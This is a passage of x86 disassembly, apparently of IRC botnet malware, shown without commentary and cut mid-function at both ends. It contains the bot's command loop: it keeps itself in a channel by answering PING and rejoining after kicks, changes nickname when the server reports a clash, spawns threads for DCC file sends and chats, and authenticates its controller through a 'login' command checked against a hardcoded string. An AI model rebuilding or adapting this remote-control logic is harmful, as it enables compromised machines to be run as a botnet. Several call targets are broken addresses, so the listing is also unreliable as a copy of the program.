		jmp	short loc_4023FA
; ---------------------------------------------------------------------------


loc_4023F8:				; CODE XREF: sub_4021E5+1A1j
					; sub_4021E5+1B6j
		jmp	short loc_4023FF
; ---------------------------------------------------------------------------


loc_4023FA:				; CODE XREF: sub_4021E5+211j
		jmp	loc_402347
; ---------------------------------------------------------------------------


loc_4023FF:				; CODE XREF: sub_4021E5+176j
					; sub_4021E5:loc_4023F8j
		movzx	eax, [ebp+var_361]
		test	eax, eax
		jz	short loc_402411
		mov	[ebp+var_4], 1


loc_402411:				; CODE XREF: sub_4021E5+223j
		movzx	eax, [ebp+var_366]
		test	eax, eax
		jz	short loc_40242A
		and	[ebp+var_4], 0
		mov	[ebp+var_85C], 1


loc_40242A:				; CODE XREF: sub_4021E5+235j
		mov	eax, [ebp+var_A0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_40247B
		push	7Fh
		push	[ebp+var_A0]
		lea	eax, [ebp+var_658]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	17h
		mov	eax, [ebp+var_A0]
		inc	eax
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	offset asc_441BA8 ; "!"
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_4227D0
		pop	ecx
		pop	ecx


loc_40247B:				; CODE XREF: sub_4021E5+251j
		push	[ebp+var_A0]
		push	offset aPing	; "PING"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4024D7
		mov	eax, [ebp+var_A0]
		mov	byte ptr [eax+1], 4Fh
		push	[ebp+var_9C]
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		mov	eax, [ebp+arg_20]
		cmp	dword ptr [eax], 0
		jnz	short loc_4024CF
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h


loc_4024CF:				; CODE XREF: sub_4021E5+2D2j
		push	1


loc_4024D1:				; DATA XREF: sub_611C10+8w
					; sub_611C10+37r
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4024D7:				; CODE XREF: sub_4021E5+2AAj
		push	[ebp+var_9C]
		push	offset a001	; "001"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_402503
		push	[ebp+var_9C]
		push	offset a005	; "005"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402556


loc_402503:				; CODE XREF: sub_4021E5+306j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		mov	dword_4E15A0, 1
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4021E5+31Cj
		push	[ebp+var_9C]
		push	offset a302	; "302"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4025AD
		push	offset a@	; "@"
		push	[ebp+var_94]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_86C], eax
		cmp	[ebp+var_86C], 0
		jz	short loc_4025A5
		push	9Fh
		mov	eax, [ebp+var_86C]
		inc	eax
		push	eax
		push	[ebp+arg_1C]
		call	sub_421470
		add	esp, 0Ch


loc_4025A5:				; CODE XREF: sub_4021E5+3A6j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4025AD:				; CODE XREF: sub_4021E5+385j
		push	[ebp+var_9C]
		push	offset a433	; "433"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4025F7
		push	0
		push	dword_44109C
		push	dword_441098
		push	[ebp+arg_10]
		call	sub_40CE78
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS_3	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4025F7:				; CODE XREF: sub_4021E5+3DCj
		and	[ebp+var_5D8], 0
		jmp	short loc_40260D
; ---------------------------------------------------------------------------


loc_402600:				; CODE XREF: sub_4021E5:loc_402641j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_40260D:				; CODE XREF: sub_4021E5+419j
		cmp	[ebp+var_5D8], 3
		jge	short loc_402643
		lea	eax, [ebp+var_658]
		push	eax
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402641
		mov	[ebp+var_864], 1


loc_402641:				; CODE XREF: sub_4021E5+450j
		jmp	short loc_402600
; ---------------------------------------------------------------------------


loc_402643:				; CODE XREF: sub_4021E5+42Fj
		push	[ebp+var_9C]
		push	offset aKick	; "KICK"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40277C
		and	[ebp+var_5D8], 0
		jmp	short loc_402673
; ---------------------------------------------------------------------------


loc_402666:				; CODE XREF: sub_4021E5+4AFj
					; sub_4021E5:loc_40273Fj
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_402673:				; CODE XREF: sub_4021E5+47Fj
		cmp	[ebp+var_5D8], 3
		jge	loc_402744
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		movsx	eax, byte ptr [ecx+eax]
		test	eax, eax
		jnz	short loc_402696
		jmp	short loc_402666
; ---------------------------------------------------------------------------


loc_402696:				; CODE XREF: sub_4021E5+4ADj
		push	7Fh
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		lea	eax, [ebp+var_658]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_870], eax
		cmp	[ebp+var_870], 0
		jz	short loc_40273F
		cmp	[ebp+var_94], 0
		jz	short loc_40273F
		push	[ebp+var_94]
		push	[ebp+var_870]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40273F
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_870]
		push	offset unk_441C28
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_870]
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40273F:				; CODE XREF: sub_4021E5+4E4j
					; sub_4021E5+4EDj ...
		jmp	loc_402666
; ---------------------------------------------------------------------------


loc_402744:				; CODE XREF: sub_4021E5+495j
		push	[ebp+var_94]
		push	[ebp+arg_10]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402774
		mov	eax, [ebp+arg_20]
		and	dword ptr [eax], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h


loc_402774:				; CODE XREF: sub_4021E5+571j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40277C:				; CODE XREF: sub_4021E5+472j
		push	[ebp+var_9C]
		push	offset aNick	; "NICK"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4029A4
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_878], eax
		mov	eax, [ebp+var_98]
		inc	eax
		mov	[ebp+var_874], eax
		and	[ebp+var_5D8], 0
		jmp	short loc_4027C5
; ---------------------------------------------------------------------------


loc_4027B8:				; CODE XREF: sub_4021E5:loc_40285Ej
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_4027C5:				; CODE XREF: sub_4021E5+5D1j
		cmp	[ebp+var_5D8], 3
		jge	loc_402863
		lea	eax, [ebp+var_658]
		push	eax
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40285E
		push	21h
		lea	eax, [ebp+var_658]
		push	eax
		call	sub_422680
		pop	ecx
		pop	ecx
		mov	[ebp+var_87C], eax
		cmp	[ebp+var_87C], 0
		jz	short loc_40285E
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		mov	byte ptr [ecx+eax], 3Ah
		push	[ebp+var_874]
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_422580
		pop	ecx
		pop	ecx
		push	[ebp+var_87C]
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		lea	eax, [ecx+eax+2]
		push	eax
		call	sub_422590
		pop	ecx
		pop	ecx


loc_40285E:				; CODE XREF: sub_4021E5+60Cj
					; sub_4021E5+62Bj
		jmp	loc_4027B8
; ---------------------------------------------------------------------------


loc_402863:				; CODE XREF: sub_4021E5+5E7j
		cmp	[ebp+var_878], 0
		jz	loc_40299C
		cmp	[ebp+var_874], 0
		jz	loc_40299C
		push	[ebp+arg_10]
		push	[ebp+var_878]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4028AC
		push	0Fh
		push	[ebp+var_874]
		push	[ebp+arg_10]
		call	sub_421470
		add	esp, 0Ch
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4028AC:				; CODE XREF: sub_4021E5+6AAj
		and	[ebp+var_5D8], 0
		jmp	short loc_4028C2
; ---------------------------------------------------------------------------


loc_4028B5:				; CODE XREF: sub_4021E5:loc_402997j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_4028C2:				; CODE XREF: sub_4021E5+6CEj
		cmp	[ebp+var_5D8], 3
		jge	loc_40299C
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		movsx	eax, byte ptr [ecx+eax]
		test	eax, eax
		jz	loc_402997
		lea	eax, [ebp+var_658]
		push	eax
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_402997
		push	21h
		lea	eax, [ebp+var_658]
		push	eax
		call	sub_422680
		pop	ecx
		pop	ecx
		mov	[ebp+var_8E4], eax
		cmp	[ebp+var_8E4], 0
		jz	short loc_40294C
		push	[ebp+var_874]
		call	sub_41EBD0
		pop	ecx
		mov	esi, eax
		push	[ebp+var_8E4]
		call	sub_41EBD0
		pop	ecx
		add	esi, eax
		cmp	esi, 7Eh
		jbe	short loc_402954


loc_40294C:				; CODE XREF: sub_4021E5+744j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402954:				; CODE XREF: sub_4021E5+765j
		push	[ebp+var_8E4]
		push	[ebp+var_874]
		push	offset aSS	; ":%s%s"
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	0
		lea	eax, [ebp+var_8E0]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	short loc_40299C
; ---------------------------------------------------------------------------


loc_402997:				; CODE XREF: sub_4021E5+6FCj
					; sub_4021E5+721j
		jmp	loc_4028B5
; ---------------------------------------------------------------------------


loc_40299C:				; CODE XREF: sub_4021E5+685j
					; sub_4021E5+692j ...
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4029A4:				; CODE XREF: sub_4021E5+5ABj
		push	[ebp+var_9C]
		push	offset aPart	; "PART"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4029D4
		push	[ebp+var_9C]
		push	offset aQuit	; "QUIT"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_402AA9


loc_4029D4:				; CODE XREF: sub_4021E5+7D3j
		and	[ebp+var_5D8], 0
		jmp	short loc_4029EA
; ---------------------------------------------------------------------------


loc_4029DD:				; CODE XREF: sub_4021E5:loc_402AA4j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_4029EA:				; CODE XREF: sub_4021E5+7F6j
		cmp	[ebp+var_5D8], 3
		jge	loc_402AA9
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		movsx	eax, byte ptr [ecx+eax]
		test	eax, eax
		jz	loc_402AA4
		push	[ebp+var_A0]
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		add	ecx, eax
		push	ecx
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402AA4
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		and	byte ptr [ecx+eax], 0
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset unk_441C88
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	[ebp+var_9C]
		push	offset aPart_0	; "PART"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402A9C
		lea	eax, [ebp+var_858]
		push	eax
		mov	eax, [ebp+var_A0]
		inc	eax
		push	eax
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h


loc_402A9C:				; CODE XREF: sub_4021E5+896j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402AA4:				; CODE XREF: sub_4021E5+824j
					; sub_4021E5+848j
		jmp	loc_4029DD
; ---------------------------------------------------------------------------


loc_402AA9:				; CODE XREF: sub_4021E5+7E9j
					; sub_4021E5+80Cj
		push	[ebp+var_9C]
		push	offset a353	; "353"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402AF6
		push	[ebp+var_90]
		push	[ebp+arg_8]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402ADC
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_402ADC:				; CODE XREF: sub_4021E5+8ECj
		push	[ebp+var_90]
		push	offset unk_441CC8
		call	sub_417472
		pop	ecx
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402AF6:				; CODE XREF: sub_4021E5+8D8j
		push	[ebp+var_9C]
		push	offset aPrivmsg	; "PRIVMSG"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_402B49
		push	[ebp+var_9C]
		push	offset aNotice	; "NOTICE"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_402B49
		push	[ebp+var_9C]
		push	offset a332	; "332"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40AFB8
		cmp	dword_441088, 0
		jz	loc_40AFB8


loc_402B49:				; CODE XREF: sub_4021E5+925j
					; sub_4021E5+93Bj
		push	[ebp+var_9C]
		push	offset aPrivmsg_0 ; "PRIVMSG"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_402B79
		push	[ebp+var_9C]
		push	offset aNotice_0 ; "NOTICE"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_402D25


loc_402B79:				; CODE XREF: sub_4021E5+978j
		push	[ebp+var_9C]
		push	offset aNotice_1 ; "NOTICE"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402B99
		mov	[ebp+var_85C], 1


loc_402B99:				; CODE XREF: sub_4021E5+9A8j
		cmp	[ebp+var_98], 0
		jnz	short loc_402BAA
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402BAA:				; CODE XREF: sub_4021E5+9BBj
		push	offset asc_441D14 ; "#"
		push	[ebp+var_98]
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_402BC9
		cmp	[ebp+var_85C], 0
		jz	short loc_402BD5


loc_402BC9:				; CODE XREF: sub_4021E5+9D9j
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_98], eax


loc_402BD5:				; CODE XREF: sub_4021E5+9E2j
		cmp	[ebp+var_94], 0
		jnz	short loc_402BE6
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402BE6:				; CODE XREF: sub_4021E5+9F7j
		mov	eax, [ebp+var_94]
		inc	eax
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jz	short loc_402C39
		cmp	[ebp+arg_10], 0
		jz	short loc_402C39
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+var_94]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_422540
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_402C2F
		mov	[ebp+var_BC], 4
		jmp	short loc_402C39
; ---------------------------------------------------------------------------


loc_402C2F:				; CODE XREF: sub_4021E5+A3Cj
		mov	[ebp+var_BC], 3


loc_402C39:				; CODE XREF: sub_4021E5+A15j
					; sub_4021E5+A1Bj ...
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_A0], 0
		jnz	short loc_402C51
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402C51:				; CODE XREF: sub_4021E5+A62j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_441D18
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_402D23
		mov	eax, [ebp+var_98]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jz	short loc_402CBD
		mov	eax, dword_4E15A4
		mov	eax, off_441160[eax*4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_402CBD
		mov	eax, dword_4E15A4
		push	off_441160[eax*4]
		push	[ebp+var_98]
		push	offset dword_441D24
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402CBD:				; CODE XREF: sub_4021E5+A99j
					; sub_4021E5+AACj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_441D40
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402D23
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_402D23
		mov	eax, [ebp+var_98]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jz	short loc_402D23
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_98]
		push	offset dword_441D48
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402D23:				; CODE XREF: sub_4021E5+A87j
					; sub_4021E5+AF3j ...
		jmp	short loc_402D48
; ---------------------------------------------------------------------------


loc_402D25:				; CODE XREF: sub_4021E5+98Ej
		mov	[ebp+var_BC], 4
		mov	eax, [ebp+var_90]
		inc	eax
		mov	[ebp+var_90], eax
		mov	eax, [ebp+var_94]
		mov	[ebp+var_98], eax


loc_402D48:				; CODE XREF: sub_4021E5:loc_402D23j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_441D60
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4030C1
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aSend_1	; "SEND"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_402F18
		cmp	[ebp+var_864], 0
		jz	loc_402EDB
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aS_27	; "%s"
		lea	eax, [ebp+var_A7C]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		push	offset aS_28	; "%s"
		lea	eax, [ebp+var_A90]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_8F8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_A98], eax
		push	7Fh
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_978]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_8F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8EC], eax
		lea	eax, [ebp+var_978]
		push	eax
		lea	eax, [ebp+var_A7C]
		push	eax
		push	offset unk_441D78
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	1Ah
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_8F4], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_A98]
		push	eax
		push	offset byte_418CCF
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_8F4]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_8F4]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_402EBE


loc_402EA9:				; CODE XREF: sub_4021E5+CD5j
		cmp	[ebp+var_8E8], 0
		jnz	short loc_402EBC
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_402EA9
; ---------------------------------------------------------------------------


loc_402EBC:				; CODE XREF: sub_4021E5+CCBj
		jmp	short loc_402ED9
; ---------------------------------------------------------------------------


loc_402EBE:				; CODE XREF: sub_4021E5+CC2j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_441DA8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_402ED9:				; CODE XREF: sub_4021E5:loc_402EBCj
		jmp	short loc_402F03
; ---------------------------------------------------------------------------


loc_402EDB:				; CODE XREF: sub_4021E5+BACj
		lea	eax, [ebp+var_B8]
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset unk_441DE4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h


loc_402F03:				; CODE XREF: sub_4021E5:loc_402ED9j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_402F18:				; CODE XREF: sub_4021E5+B9Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aChat	; "CHAT"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4030BF
		cmp	[ebp+var_864], 0
		jz	loc_40308F
		push	1Bh
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jnz	loc_403072
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		push	offset aS	; "%s"
		lea	eax, [ebp+var_C44]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx


loc_402F8A:				; DATA XREF: .XComp:006126C9o
		mov	[ebp+var_AAC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C4C], eax
		push	7Fh
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_B2C]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA0], eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset unk_441E34
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	1Bh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_AA8], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_C4C]
		push	eax
		push	offset word_41852A
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_AA8]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_AA8]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_403055


loc_403040:				; CODE XREF: sub_4021E5+E6Cj
		cmp	[ebp+var_A9C], 0
		jnz	short loc_403053
		push	32h
		call	near ptr 27B048Ah
		nop
		jmp	short loc_403040
; ---------------------------------------------------------------------------


loc_403053:				; CODE XREF: sub_4021E5+E62j
		jmp	short loc_403070
; ---------------------------------------------------------------------------


loc_403055:				; CODE XREF: sub_4021E5+E59j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_441E54
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_403070:				; CODE XREF: sub_4021E5:loc_403053j
		jmp	short loc_40308D
; ---------------------------------------------------------------------------


loc_403072:				; CODE XREF: sub_4021E5+D6Bj
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset unk_441E8C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40308D:				; CODE XREF: sub_4021E5:loc_403070j
		jmp	short loc_4030AA
; ---------------------------------------------------------------------------


loc_40308F:				; CODE XREF: sub_4021E5+D5Bj
		lea	eax, [ebp+var_B8]
		push	eax
		push	offset unk_441EBC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_4030AA:				; CODE XREF: sub_4021E5:loc_40308Dj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4030BF:				; CODE XREF: sub_4021E5+D4Ej
		jmp	short loc_4030FF
; ---------------------------------------------------------------------------


loc_4030C1:				; CODE XREF: sub_4021E5+B7Ej
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_A0]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte_441090
		mov	edx, [ebp+var_BC]
		mov	edx, [ebp+edx*4+var_A0]
		inc	edx
		mov	esi, [ebp+var_BC]
		mov	[ebp+esi*4+var_A0], edx
		cmp	eax, ecx
		jz	short loc_4030FF
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4030FF:				; CODE XREF: sub_4021E5:loc_4030BFj
					; sub_4021E5+F10j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aLogin	; "login"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40313D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset asc_441EF8 ; "l"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4033CF


loc_40313D:				; CODE XREF: sub_4021E5+F35j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_403156
		cmp	[ebp+var_864], 0
		jz	short loc_40315E


loc_403156:				; CODE XREF: sub_4021E5+F66j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40315E:				; CODE XREF: sub_4021E5+F6Fj
		push	offset asc_441EFC ; "!"
		push	[ebp+var_A0]
		call	sub_4227D0
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_C54], eax
		push	offset dword_4E15B0
		push	0
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp+var_C58], eax
		push	offset asc_441F00 ; "~"
		push	[ebp+var_C58]
		call	sub_4227D0
		pop	ecx
		pop	ecx
		mov	[ebp+var_C58], eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aMrneti_0 ; "mrneti"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_403230
		push	[ebp+var_C58]
